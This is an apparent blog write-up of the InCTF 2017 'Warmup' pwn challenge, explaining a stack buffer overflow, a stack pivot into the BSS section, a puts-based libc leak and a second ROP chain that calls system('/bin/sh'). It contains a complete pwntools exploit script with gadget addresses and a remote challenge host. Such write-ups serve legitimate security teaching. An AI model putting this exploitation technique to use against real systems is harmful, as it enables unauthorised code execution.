InCTF 2017: Warmup Pwn Writeup

Author: sg004

This was a simple challenge made to make the solver think. Hope you had fun doing it! 🙂

Let us first look at the protections enabled on the binary:

checksec_cw1

NX is enabled so shellcode injection is not possible. The buffer overflow is apparent from the disassembly. There is a read call of 0x80 bytes on a buffer of size 0x70. So we can overflow once, but where do we get from there? This is a 64-bit binary so we can only overwrite the saved rbp and rip.

The trick is to cause a stack pivot. We need to pivot the stack to the data/BSS section of the binary, and since PIE is disabled, we can reliably write to it. Since NX is enabled so shellcode injection is not possible, we are going to have to stick with ROP to make this. That means we need to make a ROP chain and re-route the execution flow of the program to it. For this purpose, we can simply write the ROP chain when we pivot the stack in the data/BSS section, and then pivot the stack again! 😉

So far, the logic works like this:

  1. Overflow the buffer, change the value of rbp to a point in the data/BSS section and the value of rip to main where the read call would happen again such that the data now gets read to the data/BSS section (I overwrote rip with 0x40066b for convenience).
  2. The program again stops for user input as it encounters the read call. Give the ROP chain here, and overflow the buffer again.

Now comes the only part where you need to think. What do we overwrite rip with the second time around? We need to redirect control flow to our ROP chain, to do that we will give the address of the leave-ret gadget (at 0x400695) in rip and corrupt the value of rbp as well. To understand why we do this, let us revise what the leave instruction does. The leave instruction can simply be said to do this:

mov rsp, rbp
pop rbp

This means that if we have corrupted the rbp to point to the address of the ROP chain and then called the leave-ret gadget, rsp will first become equal to the value of rbp (i.e. the address of the ROP chain) and then the ret instruction will be called, executing our ROP chain!

Turns out, we have to make 2 ROP chains – the first for the leaking the libc and the second to call system. That can be achieved simply by repeating the same procedure.

So the whole process becomes:

  1. Overflow the buffer, change the value of rbp to a point in the data/BSS section and rip to main where the read call would happen again such that the data now gets read to the data/BSS section (I overwrote rip with 0x40066b for convenience).
  2. The program again stops for user input as it encounters the read call. Give the ROP chain for the libc leak here, and overflow the buffer again.
  3. Corrupt rbp with the address of the ROP chain and rip with the address of the leave-ret gadget.
  4. Re-route the program to the read call and give an address in the data/BSS section again – this time writing the ROP chain with addresses of the system function and /bin/sh.
  5. Again overflow the buffer with the value of rbp pointing to the ROP chain and rip to the leave-ret gadget.
  6. Execution of the program is directed to the ROP chain and we get shell.

Here’s the script:

from pwn import *

ropchain = 0x601040+0x100
read_main = 0x40066b
leave_ret = 0x400695
puts_got = 0x601018
puts_plt = 0x4004e0
pop_rdi = 0x400703
pop_rbp = 0x4005e8
pop_rsi_r15 = 0x400701
main = 0x400636

def exploit():
p.recvuntil('Welcome to bi0s CTF!\n')
payload = 'A'*112
payload += p64(ropchain)
payload += p64(read_main)
p.send(payload)

p.recvuntil('Welcome to bi0s CTF!\n')

payload = p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(pop_rbp)
payload += p64(ropchain+0x300)
payload += p64(read_main)
payload += 'A'*(80-8-8)
payload += p64(0x6010c8) + p64(leave_ret)
p.send(payload)

leak = p.recv(6)
leak = leak + '\x00'*2
leak = u64(leak)

system = leak - 172800
binsh = leak + 1169031

p.recvuntil('Welcome to bi0s CTF!\n')

payload = p64(pop_rdi)
payload += p64(binsh)
payload += p64(pop_rsi_r15)
payload += p64(0)*2
payload += p64(system)
payload += 'A'*64
payload += p64(0x6010c8+0x300) + p64(leave_ret)
p.send(payload)

p.interactive()

if __name__ == '__main__':

if sys.argv[1] == 'local':
p = process('./warmup')
else:
p = remote('35.227.29.190', 4444)

exploit()

Well, that gives the flag. Let us know if you have any questions in the comments section below. Happy pwning. 🙂

Advertisements

2 thoughts on “InCTF 2017: Warmup Pwn Writeup

Add yours

  1. Hey, nice writeup! Could you add to your writeup warmup binary file and libc file please? Sadly I can’t find it anywhere. Official site is already not working.

    Like

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

Create a free website or blog at WordPress.com.

Up ↑

%d bloggers like this: